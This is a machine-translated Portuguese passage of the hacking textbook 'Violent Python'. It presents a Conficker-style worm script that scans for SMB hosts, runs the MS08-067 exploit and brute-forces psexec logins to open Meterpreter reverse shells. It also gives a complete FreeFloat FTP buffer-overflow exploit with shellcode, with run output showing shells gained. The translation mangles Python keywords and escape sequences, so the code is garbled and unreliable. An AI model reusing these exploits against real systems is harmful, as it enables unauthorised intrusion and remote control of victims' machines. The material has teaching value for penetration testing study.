Enquanto os atacantes lançaram com sucesso os ms08_067_netapi explorar
contra vítimas em todo o mundo, um defensor pode facilmente impedi­lo com corrente
patches de segurança. Assim, o script irá exigir o segundo vetor de ataque usado em
o Worm Con fi cker. Ele terá de força bruta através de SMB nome de usuário /­passe
combinações de palavras que tentam obter acesso aos processos executados remotamente
no host (psexec). A função smbBrute leva o Metasploit con fi gura­
ção fi le, o host de destino, uma segunda fi le contendo uma lista de senhas, ea
endereço local e porta para o ouvinte. Ele define o nome de usuário como padrão­ganha
dows Administrador e, em seguida, abre a senha fi le. Para cada senha no
o fi le, a função constrói uma Metasploit recurso con fi guração, a fim de usar
a execução do processo remoto (psexec) explorar. Se um nome de usuário combinação / password
nação bem­sucedida, a exploração lança a carga Meterpreter de volta para o local,
endereço e porta.

def smbBrute (configFile, tgtHost, passwdFile, lhost, lport):
username = 'Administrador'
pF = open (passwdFile, 'r')
por senha no pF.readlines ():
password = password.strip ( '\ n'). tira ( '\ r')
configFile.write ( «utilização explorar / windows / SMB / psexec \ n ')
configFile.write ( 'set SMBUser' str + (nome de usuário) + '\ n')
configFile.write ( 'set smbpass' str + (password) + '\ n')
configFile.write ( 'set RHOST' str + (tgtHost) + '\ n')
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 52/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
configFile.write ( 'set PAYLOAD' + \
'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' str + (lport) + '\ n')
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')
Colocá­lo novamente para construir o nosso próprio Con fi cker
Amarrando isso de volta todos juntos, o script agora tem a capacidade de digitalizar para possível
metas e explorá­los usando a vulnerabilidade MS08_067 e / ou força bruta
através de uma lista de senhas para executar remotamente processos. Finalmente, vamos adicionar
alguma opção de análise de volta para a função main () do script e depois chamar
as funções escritas anteriores conforme o necessário para encerrar todo o script. o
script completo segue.
import os
optparse importação
sys importação

72 CAPÍTULO 2: Os testes de penetração com o Python

nmap importação
findTgts def (sub­rede):
nmScan nmap.PortScanner = ()
nmScan.scan (sub­rede, '445')
tgtHosts = []
para o anfitrião em nmScan.all_hosts ():
se nmScan .has_tcp [host] (445):
state = nmScan [host] [ 'tcp'] [445] [ 'state']
se o estado == 'open':
print '[+] Encontrado alvo Anfitrião:' + acolhimento
tgtHosts.append (host)
voltar tgtHosts
def setupHandler (configFile, lhost, lport):
configFile.write ( «utilização explorar / multi / manipulador \ n ')
configFile.write ( 'set payload' + \
'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' str + (lport) + '\ n')
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')
configFile.write ( 'DisablePayloadHandler setg 1 \ n')
def confickerExploit (configFile, tgtHost, lhost, lport):
configFile.write ( «utilização explorar / windows / SMB / ms08_067_netapi \ n ')
configFile.write ( 'set RHOST' str + (tgtHost) + '\ n')
configFile.write ( 'set payload' + \
'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' str + (lport) + '\ n')
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')
def smbBrute (configFile, tgtHost, passwdFile, lhost, lport):
username = 'Administrador'
pF = open (passwdFile, 'r')
por senha no pF.readlines ():
password = password.strip ( '\ n'). tira ( '\ r')
configFile.write ( «utilização explorar / windows / SMB / psexec \ n ')
configFile.write ( 'set SMBUser' str + (nome de usuário) + '\ n')
configFile.write ( 'set smbpass' str + (password) + '\ n')
configFile.write ( 'set RHOST' str + (tgtHost) + '\ n')
configFile.write ( 'set payload' + \

Conficker, por isso que tentar duro é sempre Good Enough 73

'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' str + (lport) + '\ n')
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 53/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')
def main ():
configFile = open ( 'meta.rc', 'w')
parser = optparse.OptionParser ( '[­] Uso% prog' + \
'­H <RHOST [s]> ­l <LHOST> [­p <LPORT> ­F <Password File>]')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar o endereço de destino [es]')
parser.add_option ( '­ p', dest = 'lport', type = 'string', \
help = 'especificar a porta de escuta')
parser.add_option ( '­ l', dest = 'lhost', type = 'string', \
help = 'especificar o endereço de escuta')
parser.add_option ( '­ F', dest = 'passwdFile', type = 'string', \
ajudar 'arquivo de senha para SMB tentativa força bruta' =)
(Opções, args) = parser.parse_args ()
if (options.tgtHost == None) | (Options.lhost == None):
parser.usage de impressão
exit (0)
lhost = options.lhost
lport = options.lport
se lport == None:
lport = '1337'
passwdFile = options.passwdFile
tgtHosts = findTgts (options.tgtHost)
setupHandler (configFile, lhost, lport)
para tgtHost em tgtHosts:
confickerExploit (configFile, tgtHost, lhost, lport)
se passwdFile! = None:
smbBrute (configFile, tgtHost, passwdFile, lhost, lport)
configFile.close ()
os.system ( 'msfconsole ­r meta.rc')
se __name__ == '__main__':
a Principal()

Até agora, temos explorado máquinas usando alguns métodos bem conhecidos. Contudo,
o que acontece quando você encontrar um alvo sem conhecido explorar? Como

74 CAPÍTULO 2: Os testes de penetração com o Python

­lo a construir o seu próprio ataque zero­day? Na seção seguinte, vamos construir
o nosso próprio ataque zero­day.
atacante # python conficker.py ­H 192.168.1.30­50 ­l 192.168.1.3 ­F
passwords.txt
[ + ] Encontrado host de destino: 192.168.1.35
[ + ] Encontrado host de destino: 192.168.1.37
[ + ] Encontrado host de destino: 192.168.1.42
[ + ] Encontrado host de destino: 192.168.1.45
[ + ] Encontrado host de destino: 192.168.1.47
<.. Cortou ..>
[*] Alvo selecionado: Windows XP SP2 Inglês (AlwaysOn NX)
[*] A tentativa de desencadear a vulnerabilidade ...
[*] Enviando etapa (752128 bytes) para 192.168.1.37
[*] Meterpreter sessão 1 aberta (192.168.1.3:1337 ­>
192.168.1.37:1087) em Sat 23 de junho 16:25:05 ­0700 2012
<.. Cortou ..>
[*] Alvo selecionado: Windows XP SP2 Inglês (AlwaysOn NX)
[*] A tentativa de desencadear a vulnerabilidade ...
[*] Enviando etapa (752128 bytes) para 192.168.1.42
[*] Meterpreter sessão 1 aberta (192.168.1.3:1337 ­>
192.168.1.42:1094) em Sat 23 de junho 15:25:09 ­0700 2012

Escrever o seu próprio dia­zero PROVA DE
CÓDIGO CONCEPT
A seção anterior eo Con fi cker verme fez uso de uma corrupção de pilha
vulnerabilidade ção. Enquanto o Metasploit Framework contém mais de oito hun­
dred façanhas únicas em seu arsenal, você pode encontrar um momento em que você tem
para escrever sua própria execução remota de código de exploração. Esta seção explica como
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 54/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Python pode ajudar a simplificar esse processo. A fim de fazer isso, vamos começar pela compreensão
em pé de buffer baseado em pilha sobre fluxos.
O Worm Morris conseguiu em parte por causa de um buffer baseado em pilha sobre o fl uxo
contra o serviço Finger ( US v. Morris &, 1991). Esta classe de exploits sucedida
CEEDS porque um programa não consegue higienizar ou validar a entrada do usuário. Apesar de
Morris Worm fez uso de um buffer baseado em pilha sobre o ataque ow fl em 1988, foi
Não até 1996, que Elias Levy (aka Aleph One) publicou o artigo seminal,
"Smashing a pilha for Fun e Pro fi t" em Phrack Magazine (One, 1996).
Se você se sentir familiarizado com a forma como empilhar baseada em tampão ao longo fl uxo ataques trabalhar ou
gostaria de saber mais, considere a leitura de jornal de Elias. Para os nossos propósitos, nós

Escrevendo sua própria código de prova de conceito Zero­Day 75

vai levar algum tempo para ilustrar apenas os conceitos­chave por trás de um Buffett baseado em pilha
fer sobre fluxo ataque.

Stack­Based Tampão sobre os ataques fl uxo
No caso de um buffer baseado em pilha sobre o fluxo, os dados do usuário sem controle substitui o
ao lado do ponteiro de instrução [EIP] para assumir o controle de fl uxo de um programa. a exploração
dirige o EIP registar a apontar para uma localização que contém shellcode inserido pelo
atacante. Uma série de instruções de código de máquina, shellcode, pode permitir que o exploit
para adicionar um usuário adicional para o sistema de destino, fazer uma conexão de rede
com o atacante, ou fazer download de um executável autônomo. pos­ shellcode sem fim
existem bilidades, unicamente em função do tamanho do espaço disponível na memória.
Enquanto muitos métodos para escrever exploits existem hoje, empilhe­base tampão excesso
flui desde o original explorar vetor. No entanto, uma grande quantidade destas
exploits existem hoje e continuar a crescer. Em julho de 2011, um conhecido
mine publicado um exploit para um servidor FTP vulnerável a packetstorm (Freyman,
2011). Embora o desenvolvimento de a explorar pode aparecer para ser um complexo
tarefa, o ataque real contém menos de oitenta linhas de código (incluindo cerca de
trinta linhas de código shell).

Adicionando os elementos­chave do ataque
Vamos começar por construir os elementos­chave da nossa exploração. Primeiro vamos definir o nosso shell­
código variável para conter o hexadecimal que codifica para uma carga que criado
com o Metasploit Framework. Em seguida, vamos definir o nosso mais de fluxo variável para conter
246 ocorrências da letra "A" (\ x41 em hexadecimal). Nossos retorno pontos variável de endereço
para um local endereço no kernel32.dll contendo uma instrução que salta
directamente para o topo da pilha. O nosso estofamento variável contém uma série de 150
instruções NOP. Isto constrói a nossa NOP­trenó. Finalmente, reunir todos estes
variáveis ​
juntas em uma variável que chamamos de acidente .

MAIS INFORMAÇÃO…
elementos essenciais de tampão à base de pilha sobre o fluxo de explorar
Ao longo de fluxo: o usuário de entrada que exceda o valor esperado alocado na pilha.
Retorno: O endereço de 4 bytes usado para saltar directamente para o topo da pilha. No seguimento
ing explorar, usamos um endereço de 4 bytes que aponta para uma instrução JMP ESP no kernel32.dll.
Padding: Uma série de NOP (sem operação) instruções que precede o shellcode, permitindo uma
atacante guestimate a localização do endereço para saltar directamente para. Se um atacante terras em qualquer lugar em
o NOP­trenó, ele desliza diretamente para o shellcode.
Shellcode: Um pequeno pedaço de código escrito em código de máquina de montagem. No exemplo a seguir,
geramos shellcode utilizando o framework Metasploit.

76 CAPÍTULO 2: Os testes de penetração com o Python

shellcode = ( "\ XBF \ x5C \ X2a \ x11 \ XB3 \ xd9 \ xe5 \ xd9 \ x74 \ x24 \ XF4
\ X5D \ x33 \ XC9 "
"\ XB1 \ x56 \ x83 \ XC5 \ x04 \ x31 \ x7d \ x0f \ x03 \ x7d \ x53 \ XC8 \ XE4 \ x4f"
"\ X83 \ x85 \ x07 \ xb0 \ x53 \ XF6 \ x8e \ x55 \ x62 \ x24 \ XF4 \ X1E \ xd6 \ XF8"
"\ X7e \ x72 \ xda \ x73 \ xd2 \ x67 \ x69 \ XF1 \ XFB \ x88 \ xda \ XBC \ xdd \ xa7"
"\ Xdb \ x70 \ XE2 \ x64 \ x1f \ x12 \ x9e \ x76 \ x73 \ XF4 \ x9f \ XB8 \ x86 \ xf5"
"\ Xd8 \ xa5 \ x68 \ xa7 \ XB1 \ xa2 \ xda \ x58 \ XB5 \ XF7 \ XE6 \ x59 \ x19 \ x7c"
"\ X56 \ x22 \ X1c \ x43 \ x22 \ x98 \ x1f \ x94 \ X9a \ x97 \ x68 \ x0c \ x91 \ xf0"
"\ X48 \ X2D \ x76 \ XE3 \ XB5 \ x64 \ XF3 \ xd0 \ x4e \ x77 \ XD5 \ x28 \ xAE \ x49"
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 55/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
"\ X19 \ XE6 \ x91 \ x65 \ x94 \ XF6 \ xd6 \ x42 \ x46 \ x8d \ X2c \ XB1 \ XFB \ x96"
"\ XF6 \ xcb \ x27 \ x12 \ XEB \ x6c \ XAC \ x84 \ xcf \ x8d \ x61 \ x52 \ X9b \ x82"
"\ XCE \ x10 \ xc3 \ x86 \ xd1 \ xf5 \ x7F \ XB2 \ X5a \ XF8 \ XAF \ x32 \ x18 \ xdf"
"\ X6b \ X1E \ XFB \ x7e \ X2D \ xfa \ Xaa \ x7F \ X2D \ xa2 \ x13 \ xda \ x25 \ x41"
"\ X40 \ x5C \ x64 \ X0e \ xa5 \ x53 \ x97 \ XCE \ xa1 \ XE4 \ XE4 \ XFC \ x6e \ x5f"
"\ X63 \ x4d \ XE7 \ x79 \ x74 \ XB2 \ xd2 \ x3e \ XEA \ x4d \ XDC \ x3e \ x22 \ x8a"
"\ X88 \ x6e \ x5C \ x3b \ xb0 \ XE4 \ x9c \ XC4 \ x65 \ Xaa \ xcc \ x6a \ XD5 \ x0b"
"\ XBD \ XCA \ x85 \ XE3 \ xd7 \ XC4 \ xfa \ x14 \ xd8 \ X0e \ x8d \ x12 \ x16 \ x6a"
"\ Xde \ XF4 \ X5b \ x8c \ XF1 \ x58 \ XD5 \ x6a \ X9b \ x70 \ XB3 \ x25 \ x33 \ XB3"
"\ XE0 \ xfd \ xa4 \ xcc \ xc2 \ x51 \ x7d \ X5b \ X5a \ XBC \ xb9 \ x64 \ X5b \ XEA"
"\ XEA \ XC9 \ XF3 \ x7d \ x78 \ x02 \ xc0 \ x9c \ x7F \ x0f \ x60 \ xd6 \ XB8 \ xd8"
"\ Xfa \ x86 \ x0b \ x78 \ xfa \ x82 \ XFB \ x19 \ x69 \ x49 \ XFB \ x54 \ x92 \ XC6"
"\ XAC \ x31 \ x64 \ x1f \ x38 \ XAC \ xdf \ x89 \ x5e \ X2D \ xb9 \ XF2 \ xda \ XEA"
"\ X7a \ XFC \ XE3 \ x7F \ XC6 \ xda \ XF3 \ xb9 \ xc7 \ x66 \ xa7 \ x15 \ x9e \ x30"
"\ X11 \ xd0 \ x48 \ XF3 \ xcb \ x8a \ x27 \ X5D \ X9b \ X4B \ x04 \ x5e \ xdd \ x53"
"\ X41 \ x28 \ x01 \ xe5 \ X3C \ X6D \ x3e \ XCA \ xa8 \ x79 \ x47 \ x36 \ x49 \ x85"
"\ X92 \ XF2 \ x79 \ xcc \ XBE \ x53 \ x12 \ x89 \ X2B \ XE6 \ x7F \ X2a \ x86 \ x25"
"\ X86 \ xA9 \ x22 \ xd6 \ x7d \ XB1 \ x47 \ xd3 \ X3a \ x75 \ xb4 \ xA9 \ x53 \ x10"
"\ Xba \ X1E \ x53 \ x31")
transbordamento = "\ x41" * 246
ret = struct.pack ( '<L', 0x7C874413) # 7C874413 JMP ESP kernel32.dll
estofamento = "\ x90" * 150
acidente = estouro + ret + estofamento + shellcode

Enviando o Exploit
Usando a API Berkeley Soquete, vamos criar uma conexão com a porta TCP 21
em nosso host de destino. Se esta conexão tiver êxito, nós então autenticar o
hospedar enviando um nome de usuário e senha anônima. Finalmente, iremos enviar
o comando "RETR" FTP seguido por nossa variável acidente. Uma vez que o afectada
programa não higienizar adequadamente a entrada do usuário, isto irá resultar em uma base em pilha­

Escrevendo sua própria código de prova de conceito Zero­Day 77

tampão sobre o fl uxo que substitui o EIP registar permitindo que o programa de saltar
diretamente no e executar o nosso shellcode.
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
experimentar:
s.connect ((­alvo, 21))
exceto:
print "[­] Ligação ao" + meta + "falhou!"
sys.exit (0)
print "[*] Enviando" + 'len (falhar) "+" "+ comando +" crash byte ... "
s.send ( "usuário anônimo \ r \ n")
s.recv (1024)
s.send ( "PASS \ r \ n")
s.recv (1024)
s.send ( "RETR" + "" + acidente + "\ r \ n")
time.sleep (4)

Montagem da Entire Exploit Script
Colocando tudo isso junto, temos original de Craig Freyman explorar como afixado para
pacote tempestade.
#! / Usr / bin / Python
#title: FreeFloat FTP 1.0 Não Implementado Comando estouros de buffer
#Author: Craig Freyman (@ cd1zz)
#date: 19 de julho de 2011
#Tested No Windows XP SP3 Inglês
#Part De FreeFloat pwn semana
#Vendor Avisado: 2011/07/18 (sem resposta)
#Software Link: http: //www.freefloat.com/sv/freefloat­ftp­server/
FreeFloat­ftp­server.php
Tomada de importação, sys, tempo, struct
if len (sys.argv) <2:
print "[­] Uso:% s <alvo addr> <command>"% sys.argv [0] + "\ r"
print "[­] Por exemplo [filename.py 192.168.1.10 PWND] faria o
truque."
print "[­] Outras opções: auth, APPE, ALLO, ACCT"
sys.exit (0)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 56/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
target = sys.argv [1]
command = sys.argv [2]
if len (sys.argv)> 2:
plataforma = sys.argv [2]

78 CAPÍTULO 2: Os testes de penetração com o Python

. # / Janelas msfpayload / shell_bind_tcp r | ./msfencode ­e x86 / shikata_ga_
nai ­b "\ x00 \ xff \ x0d \ x0a \ X3D \ x20"
# [*] X86 / shikata_ga_nai sucedeu com o tamanho 368 (iteração = 1)
shellcode = ( "\ XBF \ x5C \ X2a \ x11 \ XB3 \ xd9 \ xe5 \ xd9 \ x74 \ x24 \ XF4 \ X5D \ x33 \
XC9 "
"\ XB1 \ x56 \ x83 \ XC5 \ x04 \ x31 \ x7d \ x0f \ x03 \ x7d \ x53 \ XC8 \ XE4 \ x4f"
"\ X83 \ x85 \ x07 \ xb0 \ x53 \ XF6 \ x8e \ x55 \ x62 \ x24 \ XF4 \ X1E \ xd6 \ XF8"
"\ X7e \ x72 \ xda \ x73 \ xd2 \ x67 \ x69 \ XF1 \ XFB \ x88 \ xda \ XBC \ xdd \ xa7"
"\ Xdb \ x70 \ XE2 \ x64 \ x1f \ x12 \ x9e \ x76 \ x73 \ XF4 \ x9f \ XB8 \ x86 \ xf5"
"\ Xd8 \ xa5 \ x68 \ xa7 \ XB1 \ xa2 \ xda \ x58 \ XB5 \ XF7 \ XE6 \ x59 \ x19 \ x7c"
"\ X56 \ x22 \ X1c \ x43 \ x22 \ x98 \ x1f \ x94 \ X9a \ x97 \ x68 \ x0c \ x91 \ xf0"
"\ X48 \ X2D \ x76 \ XE3 \ XB5 \ x64 \ XF3 \ xd0 \ x4e \ x77 \ XD5 \ x28 \ xAE \ x49"
"\ X19 \ XE6 \ x91 \ x65 \ x94 \ XF6 \ xd6 \ x42 \ x46 \ x8d \ X2c \ XB1 \ XFB \ x96"
"\ XF6 \ xcb \ x27 \ x12 \ XEB \ x6c \ XAC \ x84 \ xcf \ x8d \ x61 \ x52 \ X9b \ x82"
"\ XCE \ x10 \ xc3 \ x86 \ xd1 \ xf5 \ x7F \ XB2 \ X5a \ XF8 \ XAF \ x32 \ x18 \ xdf"
"\ X6b \ X1E \ XFB \ x7e \ X2D \ xfa \ Xaa \ x7F \ X2D \ xa2 \ x13 \ xda \ x25 \ x41"
"\ X40 \ x5C \ x64 \ X0e \ xa5 \ x53 \ x97 \ XCE \ xa1 \ XE4 \ XE4 \ XFC \ x6e \ x5f"
"\ X63 \ x4d \ XE7 \ x79 \ x74 \ XB2 \ xd2 \ x3e \ XEA \ x4d \ XDC \ x3e \ x22 \ x8a"
"\ X88 \ x6e \ x5C \ x3b \ xb0 \ XE4 \ x9c \ XC4 \ x65 \ Xaa \ xcc \ x6a \ XD5 \ x0b"
"\ XBD \ XCA \ x85 \ XE3 \ xd7 \ XC4 \ xfa \ x14 \ xd8 \ X0e \ x8d \ x12 \ x16 \ x6a"
"\ Xde \ XF4 \ X5b \ x8c \ XF1 \ x58 \ XD5 \ x6a \ X9b \ x70 \ XB3 \ x25 \ x33 \ XB3"
"\ XE0 \ xfd \ xa4 \ xcc \ xc2 \ x51 \ x7d \ X5b \ X5a \ XBC \ xb9 \ x64 \ X5b \ XEA"
"\ XEA \ XC9 \ XF3 \ x7d \ x78 \ x02 \ xc0 \ x9c \ x7F \ x0f \ x60 \ xd6 \ XB8 \ xd8"
"\ Xfa \ x86 \ x0b \ x78 \ xfa \ x82 \ XFB \ x19 \ x69 \ x49 \ XFB \ x54 \ x92 \ XC6"
"\ XAC \ x31 \ x64 \ x1f \ x38 \ XAC \ xdf \ x89 \ x5e \ X2D \ xb9 \ XF2 \ xda \ XEA"
"\ X7a \ XFC \ XE3 \ x7F \ XC6 \ xda \ XF3 \ xb9 \ xc7 \ x66 \ xa7 \ x15 \ x9e \ x30"
"\ X11 \ xd0 \ x48 \ XF3 \ xcb \ x8a \ x27 \ X5D \ X9b \ X4B \ x04 \ x5e \ xdd \ x53"
"\ X41 \ x28 \ x01 \ xe5 \ X3C \ X6D \ x3e \ XCA \ xa8 \ x79 \ x47 \ x36 \ x49 \ x85"
"\ X92 \ XF2 \ x79 \ xcc \ XBE \ x53 \ x12 \ x89 \ X2B \ XE6 \ x7F \ X2a \ x86 \ x25"
"\ X86 \ xA9 \ x22 \ xd6 \ x7d \ XB1 \ x47 \ xd3 \ X3a \ x75 \ xb4 \ xA9 \ x53 \ x10"
"\ Xba \ X1E \ x53 \ x31")
# 7C874413 FFE4 JMP ESP kernel32.dll
RET = struct.pack ( '<L', 0x7C874413)
estofamento = "\ x90" * 150
acidente = "\ x41" * 246 + ret + estofamento + shellcode
impressão "\
[*] FreeFloat FTP 1.0 Qualquer Não Implementado Command Buffer Overflow \ n \
[*] Autor: Craig Freyman (@ cd1zz) \ n \
[*] Ligar a "+ alvo

Capítulo Wrap Up 79

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
experimentar:
s.connect ((­alvo, 21))
exceto:
print "[­] Ligação ao" + meta + "falhou!"
sys.exit (0)
print "[*] Enviando" + 'len (falhar) "+" "+ comando +" crash byte ... "
s.send ( "usuário anônimo \ r \ n")
s.recv (1024)
s.send ( "PASS \ r \ n")
s.recv (1024)
s.send (command + "" + acidente + "\ r \ n")
time.sleep (4)

Depois de baixar uma cópia de um FTP FreeFloat, quer um Windows XP SP2 ou

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 57/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
máquina SP3, podemos testar Craig Freyman de explorar. Observe que ele usou shellcode
que se liga a uma porta TCP 4444 no alvo vulnerável. Então, vamos executar o nosso explorar
roteiro e usar o utilitário netcat para ligar à porta 4444 no host de destino. E se
tudo for bem­sucedido, agora temos acesso a um prompt de comando no vulnerabilidade
­alvo capaz.
atacante $ python freefloat2­overflow.py 192.168.1.37 PWND
[*] FreeFloat FTP 1.0 Qualquer Não Implementado Command Buffer Overflow
[*] Autor: Craig Freyman (@ cd1zz)
[*] Ligar a 192.168.1.37
[*] Enviando acidente byte 768 PWND ...
atacante $ nc 192.168.1.37 4444
Microsoft Windows XP [Versão 5.1.2600]
(C) Copyright 1985­2001 Microsoft Corp.
C: \ Documents and Settings \ Administrador \ Desktop \>

CAPÍTULO WRAP UP
Parabéns! Nós escrevemos nossas próprias ferramentas que podem ser utilizadas durante uma pensão
teste etration. Começámos por construir nosso próprio scanner de porta. Em seguida, examinamos
maneiras para atacar os SSH, protocolos FTP e SMB e depois terminei com
construindo nossa própria zero­day exploit usando Python.
Com sorte, você vai escrever o código uma quantidade infinita de vezes durante uma penetração
teste ção. Nós demonstramos alguns dos princípios por trás construção de Python
scripts com a intenção de fazer avançar nossos testes de penetração. Agora que temos

80 CAPÍTULO 2: Os testes de penetração com o Python

uma melhor compreensão das capacidades do Python, vamos examinar como podemos
escrever alguns scripts para nos ajudar em investigações forenses.

Referências
Ahmad, D. (2008) Dois anos de cripto quebrado: ensaio geral do Debian para um compro­ PKI mundial
mise. IEEE Segurança e Privacidade , pp. 70­73.
Albright, D., Brannan, P., & Walrond, C. (2010). Será que Stuxnet Take Out 1.000 centrífugas na
Natanz Enriquecimento Plant? ISIS RELATÓRIO , 22 de novembro <isis­online.org/uploads/isis­reports/
documentos / stuxnet_FEP_22Dec2> Retirado 31.10.11.
Eichin, M., & Rochlis, J. (1989). Com Microscópio e Tweezers: Uma Análise do vírus do Internet
de novembro de 1988, 9 de fevereiro <www.utdallas.edu/~edsha/UGsecurity/internet­worm­MIT.
pdf>Retirado 31.10.11.
Elmer­DeWitt, P., McCarroll, T., & Voorst, BV (1988). Tecnologia: o garoto nos colocar fora de ação.
Time Magazine , outubro 14. <http://www.time.com/time/magazine/article/0, 9171, 968.884,
00.html> Retirado 30.10.11.
Freyman, C. (2011). FreeFloat FTP 1.0 Qualquer Não Implementado Buffer de comando sobre fluxo ≈ Packet
. Tempestade Packet tempestade ≈ completa Divulgação de Informação de Segurança , 18 de julho <http: // packetstormsecurity.
org / fi les / view / 103166 / fl livre oat2­over fl ow.py.txt>Retirado 31.10.11.
GAO. (1989). Relatório ao Presidente, Subcomissão de Telecomunicações e Finanças,
Comitê de Energia e Comércio Câmara dos Representantes. "Destaques Vírus Necessidade de
Gestão Internet melhorada. " United States Geral de Contabilidade Of fi ce . <ftp.cerias.purdue.
edu / pub / doc / morris_worm / GAO­rpt.txt> Retirado 31.10.11.
Huang, W. (2011). Armorize Malware Blog: compromisso massa k985ytv em curso, se espalha falso
antivírus. Armorize Malware Blog , 17 de agosto <http://blog.armorize.com/2011/08/k985ytvhtm­
fake­antivirus­mass.html>Retirado 31.10.11.
Markoff, J. (2009). Desafiando especialistas, código de computador desonestos ainda espreita. O Nova Iorque Tempos , Agosto
27. <http://www.nytimes.com/2009/08/27/technology/27compute.html> Retirado 30.10.11.
Moore, HD (2008). Debian OpenSSL previsíveis brinquedos PRNG. Digital Offense . <http: // digitalof­
fense.net/tools/debian­openssl/>Retirado 30.10.11.
Nahorney, B. (2009). O Downadup Codex um guia completo para a mecânica da ameaça.
Symantec | Resposta de Segurança . <Www.symantec.com/content/en/us/enterprise/media/security_
resposta / whitepapers / the_downadup_codex_ed2.pdf>Retirado 30.10.11.
Um, A. (1996). Esmagando a pilha por diversão e lucro. Phrack revista , em agosto de 11. <http: // www.
phrack.org/issues.html?issue = 49 & id = 14 # article>Retirado 30.10.11.
US v. Morris (1991). 928 F. 2d 504, (CA 2ª Vara. 07 de março de 1991). Google Scholar . <http: //
scholar.google.com/scholar_case?case = 551386241451639668>Retirado 31.10.11.
Vaskovich, F. (1997). A arte de Port Scanning. Phrack revista , setembro 1. <http: // www.
phrack.org/issues.html?issue = 51­id = 11 # article>Retirado 31.10.11.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 58/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

CAPÍTULO 3

As investigações forenses com Python

Informações neste capítulo: CONTEÚDO

■  Geo­Location através do o Windows Registry Introdução: Como
Forensics Resolvido o
■  Recycle Bin Investigation Assassinatos BTK ............. 81
■  Examinar Metadados em PDFs e Microsoft Documentos

■  Extraindo GPS Coordenadas de Exif Metadados Onde você
Já esteve? ­Análise De
■  Investigando Skype Artifacts
Acesso Sem fio
■  Enumerando navegador Artefatos de Firefox Databases Pontos no
■  Examinar móveis do dispositivo Artifacts Registro ..................... 82
Usando WinReg para ler
Registro do Windows ..... 83
Usando Mecanizar para
Submeter o MAC
Em última análise, você deve esquecer­se sobre a técnica. Quanto mais você avança,
Endereço para Wigle ............. 85
os ensinamentos menos existem. O Grande Caminho é realmente NO CAMINHO ...
­Ueshiba Morihei, Kaiso, Fundador, Aikido Usando Python para
recuperar suprimido
Os itens no
INTRODUÇÃO: COMO FORENSE resolvido o Lixeira ................ 89
ASSASSINATOS BTK Usando o módulo SO
Encontrar Itens Excluídos ...... 90
Em fevereiro de 2005, Wichita policial investigador forense Mr. Randy Stone
Python correlacionar
SID para o usuário ........................ 90
desvendado as pistas fi nal de um mistério de 30 anos de idade. Um par de dias mais cedo,
estação de televisão KSAS tinha entregado a polícia de 3,5 "disco Oppy fl eles tinham
Metadados ................... 93
recebeu do BTK infame (Bind, Torture, Kill) assassino. Responsável por Usando pyPdf para analisar
pelo menos 10 assassinatos de 1974 a 1991, o assassino BTK escapou enquanto PDF Metadata .................. 93
entendimento Exif
repetidamente provocando a polícia e suas vítimas. Em 16 de fevereiro de 2005, o
Metadados .......................... 95
BTK assassino enviado a estação de televisão um "disco 3.5 com instruções de comunicação
Transferir Imagens
ções. Entre estas instruções, o disco continha uma fi le Test.A.rtf nomeado.com BeautifulSoup .......... 96
(Regan, 2006). Enquanto o fi cheiro contidas instruções do assassino BTK, também
continha outra coisa: metadados. Embutido no proprietário da Microsoft
81
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00003­X
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

82 CAPÍTULO 3: As investigações forenses com Python

Reading metadados EXIF
Rich Text Format (RTF), o fi le continha o primeiro nome do assassino BTK e
de Imagens com o
Imagem Python o local físico em que o usuário tivesse passado salvou o fi le.
Biblioteca .............................. 97
Isso estreitou o inquérito a um homem chamado Denis na Wichita locais
